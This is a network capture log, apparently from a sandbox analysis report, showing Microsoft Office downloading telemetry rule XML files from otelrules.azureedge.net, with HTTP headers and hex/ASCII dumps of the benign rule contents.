2024-11-20 09:20:06 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:06 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 733c43f5-901e-007b-0e8c-3aac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092006Z-1777c6cb754j47wfhC1TEB5wrw000000054g00000000erny x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:06 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.9	49797	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:06 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:07 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092007Z-1777c6cb754xlpjshC1TEBv8cc00000009kg000000004k8v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:07 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.9	49799	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:07 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:07 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092007Z-r1d97b99577ckpmjhC1TEBrzs000000008rg000000005cr3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:07 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.9	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:07 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092007Z-185f5d8b95c95vpshC1NYC759c00000009yg00000000ezez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.9	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:07 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:07 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:07 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 41283c59-801e-0015-058c-3af97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092007Z-185f5d8b95cjbkr4hC1NYCeu2400000009s000000000k64q x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:07 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.9	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:07 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:07 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092007Z-185f5d8b95cx9g8lhC1NYCtgvc00000002a000000000d50z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:07 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.9	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:08 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:08 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092008Z-1777c6cb7549x5qchC1TEBggbg00000009k00000000006b7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:08 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.9	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:08 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:08 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 38897bff-401e-000a-368c-3a4a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092008Z-r1d97b995778dpcthC1TEB4b5400000008k0000000006de4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:08 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.9	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:08 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:08 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: cb785bac-301e-0000-6c8c-3aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092008Z-1777c6cb7544nvmshC1TEBf7qc0000000980000000004uwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:08 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.9	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:08 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:08 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092008Z-r1d97b995778dpcthC1TEB4b5400000008n00000000033c5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:08 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.9	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:08 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:08 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092008Z-185f5d8b95c4hl5whC1NYCeex000000009xg000000009r6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:08 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.9	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:08 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 09:20:08 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 09:20:08 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T092008Z-185f5d8b95cgrrn8hC1NYCgwh400000009t000000000grkx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 09:20:08 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.9	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 09:20:08 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
